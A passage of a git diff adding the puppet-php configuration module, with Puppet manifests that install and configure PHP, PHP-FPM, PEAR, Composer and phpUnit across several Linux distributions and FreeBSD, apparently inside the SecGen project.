undef, +) { + + $default_php_version = $facts['os']['family'] ? { + 'Debian' => $facts['os']['name'] ? { + 'Ubuntu' => $facts['os']['release']['full'] ? { + /^(1[67].04)$/ => '7.0', + default => '5.x', + }, + default => '5.x', + }, + default => '5.x', + } + + $globals_php_version = pick($php_version, $default_php_version) + + case $facts['os']['family'] { + 'Debian': { + if $facts['os']['name'] == 'Ubuntu' { + case $globals_php_version { + /^5\.4/: { + $default_config_root = '/etc/php5' + $default_fpm_pid_file = "/var/run/php/php${globals_php_version}-fpm.pid" + $fpm_error_log = '/var/log/php5-fpm.log' + $fpm_service_name = 'php5-fpm' + $ext_tool_enable = '/usr/sbin/php5enmod' + $ext_tool_query = '/usr/sbin/php5query' + $package_prefix = 'php5-' + } + /^[57].[0-9]/: { + $default_config_root = "/etc/php/${globals_php_version}" + $default_fpm_pid_file = "/var/run/php/php${globals_php_version}-fpm.pid" + $fpm_error_log = "/var/log/php${globals_php_version}-fpm.log" + $fpm_service_name = "php${globals_php_version}-fpm" + $ext_tool_enable = "/usr/sbin/phpenmod -v ${globals_php_version}" + $ext_tool_query = "/usr/sbin/phpquery -v ${globals_php_version}" + $package_prefix = "php${globals_php_version}-" + } + default: { + # Default php installation from Ubuntu official repository use the following paths until 16.04 + # For PPA please use the $php_version to override it. + $default_config_root = '/etc/php5' + $default_fpm_pid_file = '/var/run/php5-fpm.pid' + $fpm_error_log = '/var/log/php5-fpm.log' + $fpm_service_name = 'php5-fpm' + $ext_tool_enable = '/usr/sbin/php5enmod' + $ext_tool_query = '/usr/sbin/php5query' + $package_prefix = 'php5-' + } + } + } else { + case $globals_php_version { + /^7\.[0-9]/: { + $default_config_root = "/etc/php/${globals_php_version}" + $default_fpm_pid_file = "/var/run/php/php${globals_php_version}-fpm.pid" + $fpm_error_log = "/var/log/php${globals_php_version}-fpm.log" + $fpm_service_name = "php${globals_php_version}-fpm" + $ext_tool_enable = "/usr/sbin/phpenmod -v ${globals_php_version}" + $ext_tool_query = "/usr/sbin/phpquery -v ${globals_php_version}" + $package_prefix = "php${globals_php_version}-" + } + default: { + $default_config_root = '/etc/php5' + $default_fpm_pid_file = '/var/run/php5-fpm.pid' + $fpm_error_log = '/var/log/php5-fpm.log' + $fpm_service_name = 'php5-fpm' + $ext_tool_enable = '/usr/sbin/php5enmod' + $ext_tool_query = '/usr/sbin/php5query' + $package_prefix = 'php5-' + } + } + } + } + 'Suse': { + case $globals_php_version { + /^7/: { + $default_config_root = '/etc/php7' + $package_prefix = 'php7-' + $default_fpm_pid_file = '/var/run/php7-fpm.pid' + $fpm_error_log = '/var/log/php7-fpm.log' + } + default: { + $default_config_root = '/etc/php5' + $package_prefix = 'php5-' + $default_fpm_pid_file = '/var/run/php5-fpm.pid' + $fpm_error_log = '/var/log/php5-fpm.log' + } + } + } + 'RedHat': { + $default_config_root = '/etc' + $default_fpm_pid_file = '/var/run/php-fpm/php-fpm.pid' + } + 'FreeBSD': { + $default_config_root = '/usr/local/etc' + $default_fpm_pid_file = '/var/run/php-fpm.pid' + } + 'Archlinux': { + $default_config_root = '/etc/php' + $default_fpm_pid_file = '/run/php-fpm/php-fpm.pid' + } + default: { + fail("Unsupported osfamily: ${facts['os']['family']}") + } + } + + $globals_config_root = pick($config_root, $default_config_root) + + $globals_fpm_pid_file = pick($fpm_pid_file, $default_fpm_pid_file) +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/init.pp b/modules/utilities/unix/web_frameworks/php/manifests/init.pp new file mode 100644 index 000000000..c77f04d19 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/init.pp @@ -0,0 +1,245 @@ +# Base class with global configuration parameters that pulls in all +# enabled components. +# +# === Parameters +# +# [*ensure*] +# Specify which version of PHP packages to install, defaults to 'present'. +# Please note that 'absent' to remove packages is not supported! +# +# [*manage_repos*] +# Include repository (dotdeb, ppa, etc.) to install recent PHP from +# +# [*fpm*] +# Install and configure php-fpm +# +# [*fpm_service_enable*] +# Enable/disable FPM service +# +# [*fpm_service_ensure*] +# Ensure FPM service is either 'running' or 'stopped' +# +# [*fpm_service_name*] +# This is the name of the php-fpm service. It defaults to reasonable OS +# defaults but can be different in case of using php7.0/other OS/custom fpm service +# +# [*fpm_service_provider*] +# This is the name of the service provider, in case there is a non +# OS default service provider used to start FPM. +# Defaults to 'undef', pick system defaults. +# +# [*fpm_pools*] +# Hash of php::fpm::pool resources that will be created. Defaults +# to a single php::fpm::pool named www with default parameters. +# +# [*fpm_global_pool_settings*] +# Hash of defaults params php::fpm::pool resources that will be created. +# Defaults to empty hash. +# +# [*fpm_inifile*] +# Path to php.ini for fpm +# +# [*fpm_package*] +# Name of fpm package to install +# +# [*fpm_user*] +# The user that php-fpm should run as +# +# [*fpm_group*] +# The group that php-fpm should run as +# +# [*dev*] +# Install php header files, needed to install pecl modules +# +# [*composer*] +# Install and auto-update composer +# +# [*pear*] +# Install PEAR +# +# [*phpunit*] +# Install phpunit +# +# [*apache_config*] +# Manage apache's mod_php configuration +# +# [*proxy_type*] +# proxy server type (none|http|https|ftp) +# +# [*proxy_server*] +# specify a proxy server, with port number if needed. ie: https://example.com:8080. +# +# [*extensions*] +# Install PHP extensions, this is overwritten by hiera hash `php::extensions` +# +# [*package_prefix*] +# This is the prefix for constructing names of php packages. This defaults +# to a sensible default depending on your operating system, like 'php-' or +# 'php5-'. +# +# [*config_root_ini*] +# This is the path to the config .ini files of the extensions. This defaults +# to a sensible default depending on your operating system, like +# '/etc/php5/mods-available' or '/etc/php5/conf.d'. +# +# [*config_root_inifile*] +# The path to the global php.ini file. This defaults to a sensible default +# depending on your operating system. +# +# [*ext_tool_enable*] +# Absolute path to php tool for enabling extensions in debian/ubuntu systems. +# This defaults to '/usr/sbin/php5enmod'. +# +# [*ext_tool_query*] +# Absolute path to php tool for querying information about extensions in +# debian/ubuntu systems. This defaults to '/usr/sbin/php5query'. +# +# [*ext_tool_enabled*] +# Enable or disable the use of php tools on debian based systems +# debian/ubuntu systems. This defaults to 'true'. +# +# [*log_owner*] +# The php-fpm log owner +# +# [*log_group*] +# The group owning php-fpm logs +# +# [*embedded*] +# Enable embedded SAPI +# +# [*pear_ensure*] +# The package ensure of PHP pear to install and run pear auto_discover +# +# [*settings*] +# +class php ( + String $ensure = $::php::params::ensure, + Boolean $manage_repos = $::php::params::manage_repos, + Boolean $fpm = true, + $fpm_service_enable = $::php::params::fpm_service_enable, + $fpm_service_ensure = $::php::params::fpm_service_ensure, + $fpm_service_name = $::php::params::fpm_service_name, + $fpm_service_provider = undef, + Hash $fpm_pools = { 'www' => {} }, + Hash $fpm_global_pool_settings = {}, + $fpm_inifile = $::php::params::fpm_inifile, + $fpm_package = undef, + $fpm_user = $::php::params::fpm_user, + $fpm_group = $::php::params::fpm_group, + Boolean $embedded = false, + Boolean $dev = true, + Boolean $composer = true, + Boolean $pear = true, + String $pear_ensure = $::php::params::pear_ensure, + Boolean $phpunit = false, + Boolean $apache_config = false, + $proxy_type = undef, + $proxy_server = undef, + Hash $extensions = {}, + Hash $settings = {}, + $package_prefix = $::php::params::package_prefix, + Stdlib::Absolutepath $config_root_ini = $::php::params::config_root_ini, + Stdlib::Absolutepath $config_root_inifile = $::php::params::config_root_inifile, + Optional[Stdlib::Absolutepath] $ext_tool_enable = $::php::params::ext_tool_enable, + Optional[Stdlib::Absolutepath] $ext_tool_query = $::php::params::ext_tool_query, + Boolean $ext_tool_enabled = $::php::params::ext_tool_enabled, + String $log_owner = $::php::params::fpm_user, + String $log_group = $::php::params::fpm_group, +) inherits ::php::params { + + $real_fpm_package = pick($fpm_package, "${package_prefix}${::php::params::fpm_package_suffix}") + + # Deep merge global php settings + $real_settings = deep_merge($settings, lookup('php::settings', {value_type => Hash, merge => 'deep', default_value => {}})) + + # Deep merge global php extensions + $real_extensions = deep_merge($extensions, lookup('php::extensions', {value_type => Hash, merge => 'deep', default_value => {}})) + + # Deep merge fpm_pools + $real_fpm_pools = deep_merge($fpm_pools, lookup('php::fpm_pools', {value_type => Hash, merge => 'deep', default_value => {}})) + + # Deep merge fpm_global_pool_settings + $real_fpm_global_pool_settings = deep_merge($fpm_global_pool_settings, lookup('php::fpm_global_pool_settings', {value_type => Hash, merge => 'deep', default_value => {}})) + + if $manage_repos { + class { '::php::repo': } + -> Anchor['php::begin'] + } + + anchor { 'php::begin': } + -> class { '::php::packages': } + -> class { '::php::cli': + settings => $real_settings, + } + -> anchor { 'php::end': } + + # Configure global PHP settings in php.ini + if $facts['os']['family'] != 'Debian' { + Class['php::packages'] + -> class {'::php::global': + settings => $real_settings, + } + -> Anchor['php::end'] + } + + if $fpm { contain '::php::fpm' } + if $embedded { + if $facts['os']['family'] == 'RedHat' and $fpm { + # Both fpm and embeded SAPIs are using same php.ini + fail('Enabling both cli and embedded sapis is not currently supported') + } + + Anchor['php::begin'] + -> class { '::php::embedded': + settings => $real_settings, + } + -> Anchor['php::end'] + } + if $dev { + Anchor['php::begin'] + -> class { '::php::dev': } + -> Anchor['php::end'] + } + if $composer { + Anchor['php::begin'] + -> class { '::php::composer': + proxy_type => $proxy_type, + proxy_server => $proxy_server, + } + -> Anchor['php::end'] + } + if $pear { + Anchor['php::begin'] + -> class { '::php::pear': + ensure => $pear_ensure, + } + -> Anchor['php::end'] + } + if $phpunit { + Anchor['php::begin'] + -> class { '::php::phpunit': } + -> Anchor['php::end'] + } + if $apache_config { + Anchor['php::begin'] + -> class { '::php::apache_config': + settings => $real_settings, + } + -> Anchor['php::end'] + } + + create_resources('::php::extension', $real_extensions, { + require => Class['::php::cli'], + before => Anchor['php::end'] + }) + + # On FreeBSD purge the system-wide extensions.ini. It is going + # to be replaced with per-module configuration files. + if $::osfamily == 'FreeBSD' { + # Purge the system-wide extensions.ini + file { '/usr/local/etc/php/extensions.ini': + ensure => absent, + require => Class['::php::packages'], + } + } +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/packages.pp b/modules/utilities/unix/web_frameworks/php/manifests/packages.pp new file mode 100644 index 000000000..7c95156d4 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/packages.pp @@ -0,0 +1,40 @@ +# Install common PHP packages +# +# === Parameters +# +# [*ensure*] +# Specify which version of PHP packages to install +# +# [*names*] +# List of the names of the package to install +# +# [*names_to_prefix*] +# List of packages names that should be prefixed with the common +# package prefix `$php::package_prefix` +# +class php::packages ( + String $ensure = $::php::ensure, + Boolean $manage_repos = $::php::manage_repos, + Array $names_to_prefix = prefix($::php::params::common_package_suffixes, $::php::package_prefix), + Array $names = $::php::params::common_package_names, +) inherits ::php::params { + + if $caller_module_name != $module_name { + warning('php::packages is private') + } + + $real_names = union($names, $names_to_prefix) + if $facts['os']['family'] == 'debian' { + if $manage_repos { + include ::apt + Class['::apt::update'] -> Package[$real_names] + } + package { $real_names: + ensure => $ensure, + } + } else { + package { $real_names: + ensure => $ensure, + } + } +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/params.pp b/modules/utilities/unix/web_frameworks/php/manifests/params.pp new file mode 100644 index 000000000..f4d9acd58 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/params.pp @@ -0,0 +1,192 @@ +# PHP params class +# +class php::params inherits php::globals { + + $ensure = 'present' + $fpm_service_enable = true + $fpm_service_ensure = 'running' + $composer_source = 'https://getcomposer.org/composer.phar' + $composer_path = '/usr/local/bin/composer' + $composer_max_age = 30 + $pear_ensure = 'present' + $pear_package_suffix = 'pear' + $phpunit_source = 'https://phar.phpunit.de/phpunit.phar' + $phpunit_path = '/usr/local/bin/phpunit' + $phpunit_max_age = 30 + + case $facts['os']['family'] { + 'Debian': { + $config_root = $php::globals::globals_config_root + $config_root_ini = "${config_root}/mods-available" + $config_root_inifile = "${config_root}/php.ini" + $common_package_names = [] + $common_package_suffixes = ['cli', 'common'] + $cli_inifile = "${config_root}/cli/php.ini" + $dev_package_suffix = 'dev' + $fpm_pid_file = $php::globals::globals_fpm_pid_file + $fpm_config_file = "${config_root}/fpm/php-fpm.conf" + $fpm_error_log = $php::globals::fpm_error_log + $fpm_inifile = "${config_root}/fpm/php.ini" + $fpm_package_suffix = 'fpm' + $fpm_pool_dir = "${config_root}/fpm/pool.d" + $fpm_service_name = $php::globals::fpm_service_name + $fpm_user = 'www-data' + $fpm_group = 'www-data' + $apache_inifile = "${config_root}/apache2/php.ini" + $embedded_package_suffix = 'embed' + $embedded_inifile = "${config_root}/embed/php.ini" + $package_prefix = $php::globals::package_prefix + $compiler_packages = 'build-essential' + $root_group = 'root' + $ext_tool_enable = $php::globals::ext_tool_enable + $ext_tool_query = $php::globals::ext_tool_query + $ext_tool_enabled = true + + case $facts['os']['name'] { + 'Debian': { + $manage_repos = (versioncmp($facts['os']['release']['major'], '8') < 0) + } + + 'Ubuntu': { + $manage_repos = false + } + + default: { + $manage_repos = false + } + } + } + + 'Suse': { + if ($php::globals::php_version != undef) { + $php_version_major = regsubst($php::globals::php_version, '^(\d+)\.(\d+)$','\1') + } else { + $php_version_major = 5 + } + + $config_root = $php::globals::globals_config_root + $config_root_ini = "${config_root}/conf.d" + $config_root_inifile = "${config_root}/php.ini" + $common_package_names = ["php${php_version_major}"] + $common_package_suffixes = [] + $cli_inifile = "${config_root}/cli/php.ini" + $dev_package_suffix = 'devel' + $fpm_pid_file = $php::globals::globals_fpm_pid_file + $fpm_config_file = "${config_root}/fpm/php-fpm.conf" + $fpm_error_log = $php::globals::fpm_error_log + $fpm_inifile = "${config_root}/fpm/php.ini" + $fpm_package_suffix = 'fpm' + $fpm_pool_dir = "${config_root}/fpm/pool.d" + $fpm_service_name = 'php-fpm' + $fpm_user = 'wwwrun' + $fpm_group = 'www' + $embedded_package_suffix = 'embed' + $embedded_inifile = "${config_root}/embed/php.ini" + $package_prefix = $php::globals::package_prefix + $manage_repos = true + $root_group = 'root' + $ext_tool_enable = undef + $ext_tool_query = undef + $ext_tool_enabled = false + case $facts['os']['name'] { + 'SLES': { + $compiler_packages = [] + } + 'OpenSuSE': { + $compiler_packages = 'devel_basis' + } + default: { + fail("Unsupported operating system ${facts['os']['name']}") + } + } + } + 'RedHat': { + $config_root = $php::globals::globals_config_root + $config_root_ini = "${config_root}/php.d" + $config_root_inifile = "${config_root}/php.ini" + $common_package_names = [] + $common_package_suffixes = ['cli', 'common'] + $cli_inifile = "${config_root}/php-cli.ini" + $dev_package_suffix = 'devel' + $fpm_pid_file = $php::globals::globals_fpm_pid_file + $fpm_config_file = "${config_root}/php-fpm.conf" + $fpm_error_log = '/var/log/php-fpm/error.log' + $fpm_inifile = "${config_root}/php-fpm.ini" + $fpm_package_suffix = 'fpm' + $fpm_pool_dir = "${config_root}/php-fpm.d" + $fpm_service_name = 'php-fpm' + $fpm_user = 'apache' + $fpm_group = 'apache' + $apache_inifile = "${config_root}/php.ini" + $embedded_package_suffix = 'embedded' + $embedded_inifile = "${config_root}/php.ini" + $package_prefix = 'php-' + $compiler_packages = ['gcc', 'gcc-c++', 'make'] + $manage_repos = false + $root_group = 'root' + $ext_tool_enable = undef + $ext_tool_query = undef + $ext_tool_enabled = false + } + 'FreeBSD': { + $config_root = $php::globals::globals_config_root + $config_root_ini = "${config_root}/php" + $config_root_inifile = "${config_root}/php.ini" + # No common packages, because the required PHP base package will be + # pulled in as a dependency. This preserves the ability to choose + # any available PHP version by setting the 'package_prefix' parameter. + $common_package_names = [] + $common_package_suffixes = ['extensions'] + $cli_inifile = "${config_root}/php-cli.ini" + $dev_package_suffix = undef + $fpm_pid_file = $php::globals::globals_fpm_pid_file + $fpm_config_file = "${config_root}/php-fpm.conf" + $fpm_error_log = '/var/log/php-fpm.log' + $fpm_inifile = "${config_root}/php-fpm.ini" + $fpm_package_suffix = undef + $fpm_pool_dir = "${config_root}/php-fpm.d" + $fpm_service_name = 'php-fpm' + $fpm_user = 'www' + $fpm_group = 'www' + $embedded_package_suffix = 'embed' + $embedded_inifile = "${config_root}/php-embed.ini" + $package_prefix = 'php56-' + $compiler_packages = ['gcc'] + $manage_repos = false + $root_group = 'wheel' + $ext_tool_enable = undef + $ext_tool_query = undef + $ext_tool_enabled = false + } + 'Archlinux': { + $config_root_ini = '/etc/php/conf.d' + $config_root_inifile = '/etc/php/php.ini' + $common_package_names = [] + $common_package_suffixes = [] + $cli_inifile = '/etc/php/php.ini' + $dev_package_suffix = undef + $fpm_pid_file = '/run/php-fpm/php-fpm.pid' + $fpm_config_file = '/etc/php/php-fpm.conf' + $fpm_error_log = 'syslog' + $fpm_inifile = '/etc/php/php.ini' + $fpm_package_suffix = 'fpm' + $fpm_pool_dir = '/etc/php/php-fpm.d' + $fpm_service_name = 'php-fpm' + $fpm_user = 'root' + $fpm_group = 'root' + $apache_inifile = '/etc/php/php.ini' + $embedded_package_suffix = 'embedded' + $embedded_inifile = '/etc/php/php.ini' + $package_prefix = 'php-' + $compiler_packages = ['gcc', 'make'] + $manage_repos = false + $root_group = 'root' + $ext_tool_enable = undef + $ext_tool_query = undef + $ext_tool_enabled = false + } + default: { + fail("Unsupported osfamily: ${facts['os']['family']}") + } + } +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/pear.pp b/modules/utilities/unix/web_frameworks/php/manifests/pear.pp new file mode 100644 index 000000000..f5a6a916e --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/pear.pp @@ -0,0 +1,72 @@ +# Install PEAR package manager +# +# === Parameters +# +# [*ensure*] +# The package ensure of PHP pear to install and run pear auto_discover +# +# [*package*] +# The package name for PHP pear +# +class php::pear ( + String $ensure = $::php::pear_ensure, + Optional[String] $package = undef, + Boolean $manage_repos = $php::manage_repos, +) inherits ::php::params { + + if $caller_module_name != $module_name { + warning('php::pear is private') + } + + # Defaults for the pear package name + if $package { + $package_name = $package + } else { + if $facts['os']['name'] == 'Amazon' { + # On Amazon Linux the package name is also just 'php-pear'. + # This would normally not be problematic but if you specify a + # package_prefix other than 'php' then it will fail. + $package_name = "php-${::php::params::pear_package_suffix}" + } + else { + case $facts['os']['family'] { + 'Debian': { + # Debian is a litte stupid: The pear package is called 'php-pear' + # even though others are called 'php5-fpm' or 'php5-dev' + $package_name = "php-${::php::params::pear_package_suffix}" + } + 'FreeBSD': { + # On FreeBSD the package name is just 'pear'. + $package_name = $::php::params::pear_package_suffix + } + default: { + # This is the default for all other architectures + $package_name = "${::php::package_prefix}${::php::params::pear_package_suffix}" + } + } + } + } + + # the apt module provides apt::update. apt is only included if we manage any repos + $require = $manage_repos ? { + true => Class['::apt::update'], + false => undef, + } + # Default PHP come with xml module and no seperate package for it + if $facts['os']['name'] == 'Ubuntu' and versioncmp($facts['os']['release']['full'], '16.04') >= 0 { + ensure_packages(["${php::package_prefix}xml"], { + ensure => present, + require => $require, + }) + + package { $package_name: + ensure => $ensure, + require => [$require,Class['::php::cli'],Package["${php::package_prefix}xml"]], + } + } else { + package { $package_name: + ensure => $ensure, + require => Class['::php::cli'], + } + } +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/phpunit.pp b/modules/utilities/unix/web_frameworks/php/manifests/phpunit.pp new file mode 100644 index 000000000..5832be2bd --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/phpunit.pp @@ -0,0 +1,49 @@ +# Install phpunit, PHP testing framework +# +# === Parameters +# +# [*source*] +# Holds URL to the phpunit source file +# +# [*path*] +# Holds path to the phpunit executable +# +# [*auto_update*] +# Defines if phpunit should be auto updated +# +# [*max_age*] +# Defines the time in days after which an auto-update gets executed +# +class php::phpunit ( + String $source = $::php::params::phpunit_source, + Stdlib::Absolutepath $path = $::php::params::phpunit_path, + Boolean $auto_update = true, + Integer $max_age = $::php::params::phpunit_max_age, +) inherits ::php::params { + + if $caller_module_name != $module_name { + warning('php::phpunit is private') + } + + ensure_packages(['wget']) + + exec { 'download phpunit': + command => "wget ${source} -O ${path}", + creates => $path, + path => ['/bin/', '/sbin/' , '/usr/bin/', '/usr/sbin/'], + require => [Class['::php::cli'],Package['wget']], + } + -> file { $path: + mode => '0555', + owner => root, + group => root, + } + + if $auto_update { + class { '::php::phpunit::auto_update': + max_age => $max_age, + source => $source, + path => $path, + } + } +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/phpunit/auto_update.pp b/modules/utilities/unix/web_frameworks/php/manifests/phpunit/auto_update.pp new file mode 100644 index 000000000..2bdea1312 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/phpunit/auto_update.pp @@ -0,0 +1,30 @@ +# Install phpunit package manager +# +# === Parameters +# +# [*max_age*] +# Defines number of days after which phpunit should be updated +# +# [*source*] +# Holds URL to the phpunit source file +# +# [*path*] +# Holds path to the phpunit executable +# +class php::phpunit::auto_update ( + $max_age, + $source, + $path, +) { + + if $caller_module_name != $module_name { + warning('php::phpunit::auto_update is private') + } + + exec { 'update phpunit': + command => "wget ${source} -O ${path}", + onlyif => "test `find '${path}' -mtime +${max_age}`", + path => [ '/bin/', '/sbin/' , '/usr/bin/', '/usr/sbin/' ], + require => File[$path], + } +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/repo.pp b/modules/utilities/unix/web_frameworks/php/manifests/repo.pp new file mode 100644 index 000000000..b02e65ae8 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/repo.pp @@ -0,0 +1,33 @@ +# Configure package repository +# +class php::repo { + + $msg_no_repo = "No repo available for ${facts['os']['family']}/${facts['os']['name']}" + + case $facts['os']['family'] { + 'Debian': { + # no contain here because apt does that already + case $facts['os']['name'] { + 'Debian': { + include ::php::repo::debian + } + 'Ubuntu': { + include ::php::repo::ubuntu + } + default: { + fail($msg_no_repo) + } + } + } + 'FreeBSD': {} + 'Suse': { + contain ::php::repo::suse + } + 'RedHat': { + contain '::php::repo::redhat' + } + default: { + fail($msg_no_repo) + } + } +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/repo/debian.pp b/modules/utilities/unix/web_frameworks/php/manifests/repo/debian.pp new file mode 100644 index 000000000..fed406340 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/repo/debian.pp @@ -0,0 +1,101 @@ +# Configure debian apt repo +# +# === Parameters +# +# [*location*] +# Location of the apt repository +# +# [*release*] +# Release of the apt repository +# +# [*repos*] +# Apt repository names +# +# [*include_src*] +# Add source source repository +# +# [*key*] +# Public key in apt::key format +# +# [*dotdeb*] +# Enable special dotdeb handling +# +# [*sury*] +# Enable special sury handling +# +class php::repo::debian( + $location = 'http://packages.dotdeb.org', + $release = 'wheezy-php56', + $repos = 'all', + $include_src = false, + $key = { + 'id' => '6572BBEF1B5FF28B28B706837E3F070089DF5277', + 'source' => 'http://www.dotdeb.org/dotdeb.gpg', + }, + $dotdeb = true, + $sury = true, +) { + + if $caller_module_name != $module_name { + warning('php::repo::debian is private') + } + + include '::apt' + + create_resources(::apt::key, { 'php::repo::debian' => { + id => $key['id'], + source => $key['source'], + }}) + + ::apt::source { "source_php_${release}": + location => $location, + release => $release, + repos => $repos, + include => { + 'src' => $include_src, + 'deb' => true, + }, + require => Apt::Key['php::repo::debian'], + } + + if ($dotdeb) { + # both repositories are required to work correctly + # See: http://www.dotdeb.org/instructions/ + if $release == 'wheezy-php56' { + ::apt::source { 'dotdeb-wheezy': + location => $location, + release => 'wheezy', + repos => $repos, + include => { + 'src' => $include_src, + 'deb' => true, + }, + } + } + } + + if ($sury and $php::globals::php_version == '7.1') { + # Required packages for PHP 7.1 repository + ensure_packages(['lsb-release', 'ca-certificates'], {'ensure' => 'present'}) + + # Add PHP 7.1 key + repository + apt::key { 'php::repo::debian-php71': + id => 'DF3D585DB8F0EB658690A554AC0E47584A7A714D', + source => 'https://packages.sury.org/php/apt.gpg', + } + + ::apt::source { 'source_php_71': + location => 'https://packages.sury.org/php/', + release => $::lsbdistcodename, + repos => 'main', + include => { + 'src' => $include_src, + 'deb' => true, + }, + require => [ + Apt::Key['php::repo::debian-php71'], + Package['apt-transport-https', 'lsb-release', 'ca-certificates'] + ], + } + } +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/repo/redhat.pp b/modules/utilities/unix/web_frameworks/php/manifests/repo/redhat.pp new file mode 100644 index 000000000..bd64e0561 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/repo/redhat.pp @@ -0,0 +1,35 @@ +# Configure a yum repo for RedHat-based systems +# +# === Parameters +# +# [*yum_repo*] +# Class name of the repo under ::yum::repo +# + +class php::repo::redhat ( + $yum_repo = 'remi_php56', +) { + + $releasever = $facts['os']['name'] ? { + /(?i:Amazon)/ => '6', + default => '$releasever', # Yum var + } + + yumrepo { 'remi': + descr => 'Remi\'s RPM repository for Enterprise Linux $releasever - $basearch', + mirrorlist => "https://rpms.remirepo.net/enterprise/${releasever}/remi/mirror", + enabled => 1, + gpgcheck => 1, + gpgkey => 'https://rpms.remirepo.net/RPM-GPG-KEY-remi', + priority => 1, + } + + yumrepo { 'remi-php56': + descr => 'Remi\'s PHP 5.6 RPM repository for Enterprise Linux $releasever - $basearch', + mirrorlist => "https://rpms.remirepo.net/enterprise/${releasever}/php56/mirror", + enabled => 1, + gpgcheck => 1, + gpgkey => 'https://rpms.remirepo.net/RPM-GPG-KEY-remi', + priority => 1, + } +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/repo/suse.pp b/modules/utilities/unix/web_frameworks/php/manifests/repo/suse.pp new file mode 100644 index 000000000..9c02f5bb0 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/repo/suse.pp @@ -0,0 +1,25 @@ +# Configure suse repo +# +# === Parameters +# +# [*reponame*] +# Name of the Zypper repository +# +# [*baseurl*] +# Base URL of the Zypper repository +# +class php::repo::suse ( + $reponame = 'mayflower-php56', + $baseurl = 'http://download.opensuse.org/repositories/home:/mayflower:/php5.6_based/SLE_11_SP3/', +) { + zypprepo { $reponame: + baseurl => $baseurl, + enabled => 1, + autorefresh => 1, + } + ~> exec { 'zypprepo-accept-key': + command => 'zypper --gpg-auto-import-keys update -y', + path => '/usr/bin:/bin', + refreshonly => true, + } +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/repo/ubuntu.pp b/modules/utilities/unix/web_frameworks/php/manifests/repo/ubuntu.pp new file mode 100644 index 000000000..f502c623d --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/repo/ubuntu.pp @@ -0,0 +1,33 @@ +# Configure ubuntu ppa +# +# === Parameters +# +# [*version*] +# PHP version to manage (e.g. 5.6) +# +class php::repo::ubuntu ( + $version = undef, +) { + include '::apt' + + if($version == undef) { + $version_real = '5.6' + } else { + $version_real = $version + } + + if ($version_real == '5.5') { + fail('PHP 5.5 is no longer available for download') + } + assert_type(Pattern[/^\d\.\d/], $version_real) + + $version_repo = $version_real ? { + '5.4' => 'ondrej/php5-oldstable', + '5.6' => 'ondrej/php', + '7.0' => 'ondrej/php' + } + + ::apt::ppa { "ppa:${version_repo}": + package_manage => true, + } +} diff --git a/modules/utilities/unix/web_frameworks/php/metadata.json b/modules/utilities/unix/web_frameworks/php/metadata.json new file mode 100644 index 000000000..00d86f582 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/metadata.json @@ -0,0 +1,89 @@ +{ + "name": "puppet-php", + "version": "5.2.1-rc0", + "author": "Vox Pupuli", + "summary": "Generic PHP module that supports many platforms", + "license": "MIT", + "source": "https://github.com/voxpupuli/puppet-php", + "project_page": "https://github.com/voxpupuli/puppet-php", + "issues_url": "https://github.com/voxpupuli/puppet-php/issues", + "description": "Puppet module that aims to manage PHP and extensions in a generic way on many platforms with sane defaults and easy configuration", + "dependencies": [ + { + "name": "puppetlabs/stdlib", + "version_requirement": ">= 4.16.0 < 5.0.0" + }, + { + "name": "puppetlabs/apt", + "version_requirement": ">= 4.4.0 < 5.0.0" + }, + { + "name": "puppetlabs/inifile", + "version_requirement": ">= 1.4.1 < 3.0.0" + }, + { + "name": "puppet/zypprepo", + "version_requirement": ">= 2.0.0 < 3.0.0" + }, + { + "name": "puppet/archive", + "version_requirement": ">= 1.0.0 < 3.0.0" + } + ], + "requirements": [ + { + "name": "puppet", + "version_requirement": ">= 4.7.0 < 6.0.0" + } + ], + "operatingsystem_support": [ + { + "operatingsystem": "Ubuntu", + "operatingsystemrelease": [ + "14.04", + "16.04" + ] + }, + { + "operatingsystem": "Debian", + "operatingsystemrelease": [ + "7", + "8" + ] + }, + { + "operatingsystem": "RedHat", + "operatingsystemrelease": [ + "6", + "7" + ] + }, + { + "operatingsystem": "CentOS", + "operatingsystemrelease": [ + "6", + "7" + ] + }, + { + "operatingsystem": "FreeBSD", + "operatingsystemrelease": [ + "9", + "10", + "11" + ] + }, + { + "operatingsystem": "SLES", + "operatingsystemrelease": [ + "11" + ] + }, + { + "operatingsystem": "OpenSUSE" + }, + { + "operatingsystem": "Archlinux" + } + ] +} diff --git a/modules/utilities/unix/web_frameworks/php/php.pp b/modules/utilities/unix/web_frameworks/php/php.pp new file mode 100644 index 000000000..e4524e861 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/php.pp @@ -0,0 +1 @@ +include '::php' \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/secgen_metadata.xml b/modules/utilities/unix/web_frameworks/php/secgen_metadata.xml new file mode 100644 index 000000000..cfa73a13f --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/secgen_metadata.xml @@ -0,0 +1,20 @@ + + + + PHP + Thomas Shaw + MIT + Module for installing and configuring the PHP framework. + + web_framework + linux + + PHP + MIT + + + update + + diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/archlinux-2-x64.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/archlinux-2-x64.yml new file mode 100644 index 000000000..89b63003f --- /dev/null +++ 